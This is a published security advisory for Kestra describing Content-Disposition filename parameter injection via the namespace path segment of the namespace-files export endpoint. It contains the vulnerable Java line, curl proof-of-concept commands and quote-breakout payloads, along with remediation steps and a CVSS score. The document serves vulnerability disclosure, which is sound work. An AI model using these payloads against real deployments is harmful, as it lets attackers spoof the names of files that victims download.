Skip to content

Content-Disposition filename parameter injection in Kestra via an unvalidated `namespace` path segment on the namespace-files export endpoint

Low
loicmathieu published GHSA-9gp7-896w-m3r7 Sep 29, 2026

Package

maven io.kestra:kestra (Maven)

Affected versions

<= 2.0.0

Patched versions

2.0.1

Description

Description

Summary

NamespaceFileController.export builds the Content-Disposition response header by directly concatenating the client-controlled {namespace} path segment into a quoted filename="..." parameter, with no validation or output-encoding of the namespace value. A " (double quote) inside namespace breaks out of the quoted filename and lets the caller inject additional Content-Disposition parameters (filename spoofing / header-parameter confusion). The namespace is not validated at this endpoint - a value containing ", spaces, or ; is accepted and the endpoint returns HTTP 200 - confirming the missing input validation. Raw CR/LF response splitting is not possible (Micronaut rejects header values containing CR/LF), so impact is bounded to filename spoofing, and this is reported as Low.

Details

The header is built by raw string concatenation of the namespace:

webserver/src/main/java/io/kestra/webserver/controllers/api/NamespaceFileController.java:311

return HttpResponse.ok(bos.toByteArray())
    .header("Content-Disposition", "attachment; filename=\"" + namespace + "_files.zip\"");

The {namespace} path variable is not checked against Kestra's namespace format before this use, so an attacker-chosen quote closes the filename="..." value early and appends arbitrary further Content-Disposition parameters. The same raw-path-segment reflection pattern exists at DashboardController.java:418-419,437-438 (the filename there is built from {id} and {chartId}), also unvalidated and similarly limited.

CR/LF injection into the header value is rejected by the framework (HTTP 422 "Invalid header value"), so full HTTP response splitting is not achievable - only in-header parameter injection.

PoC

Complete, reproducible instructions with real, unredacted values captured from a live run.

Environment. Kestra v1.3.37 at http://localhost:3031, basic-auth admin@kestra.io / Admin1234! (so Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=).

Step 1 - Baseline: a normal namespace

Raw request:

GET /api/v1/main/namespaces/company.team/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
  'http://localhost:3031/api/v1/main/namespaces/company.team/files/export'

Response headers (relevant line):

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="company.team_files.zip"

Step 2 - Quote breakout: namespace = foo"bar (URL-encoded foo%22bar)

Raw request:

GET /api/v1/main/namespaces/foo%22bar/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
  'http://localhost:3031/api/v1/main/namespaces/foo%22bar/files/export'

Response headers:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="foo"bar_files.zip"

The injected " closes the quoted filename value early - the header is now malformed with the attacker's quote inside it.

Step 3 - Inject a second filename parameter: namespace = x"; filename="pwned.html

URL-encoded namespace: x%22%3B%20filename%3D%22pwned.html.

Raw request:

GET /api/v1/main/namespaces/x%22%3B%20filename%3D%22pwned.html/files/export HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - -o /dev/null \
  'http://localhost:3031/api/v1/main/namespaces/x%22%3B%20filename%3D%22pwned.html/files/export'

Response headers:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="x"; filename="pwned.html_files.zip"

A second filename parameter (filename="pwned.html...") has been injected into the Content-Disposition header. Clients that honour the last/second filename parameter save the archive under the attacker-chosen name.

Step 4 - CR/LF is blocked (no full response splitting)

Command:

curl -s -u 'admin@kestra.io:Admin1234!' -D - \
  'http://localhost:3031/api/v1/main/namespaces/foo%0d%0aX-Injected:%20yes/files/export'

Response:

HTTP/1.1 422 Illegal argument

{"message":"Illegal argument: Invalid header value", ...}

The framework rejects CR/LF in the header value, so this is header-parameter injection only, not full HTTP response splitting.

Differential summary (all captured live)

namespace value Resulting Content-Disposition Status
company.team (baseline) attachment; filename="company.team_files.zip" 200
foo"bar attachment; filename="foo"bar_files.zip" 200 (quote breakout)
x"; filename="pwned.html attachment; filename="x"; filename="pwned.html_files.zip" 200 (second param injected)
foo\r\nX-Injected: yes - 422 Invalid header value (CR/LF blocked)

Impact

This is an improper-output-encoding / improper-input-validation issue (header parameter injection).

  • Filename spoofing in the Content-Disposition header of a ZIP download: an attacker who induces a victim to trigger this export (e.g. a crafted link to the export endpoint with an attacker-chosen namespace) influences the saved filename and can append conflicting header parameters, potentially causing the browser to save the archive under a misleading name or extension.
  • CR/LF response splitting is not achievable (framework-blocked), which bounds the severity to Low.
  • The same class of unvalidated path-segment reflection into Content-Disposition exists at DashboardController.java:418-419,437-438.

Impacted: any deployment exposing the namespace-files export endpoint to users who can be induced to follow a crafted export URL.

Remediation

  1. Validate {namespace} against Kestra's namespace format (e.g. ^[a-z0-9][a-z0-9._-]*$) at the export controller before use.
  2. Sanitize/encode any value interpolated into Content-Disposition (strip ", ;, control chars; use RFC 6266 filename* encoding), or use a fixed static filename for the archive.
  3. Apply the same validation/encoding at DashboardController.java:418-419,437-438.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers. Learn more on MITRE.

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

Credits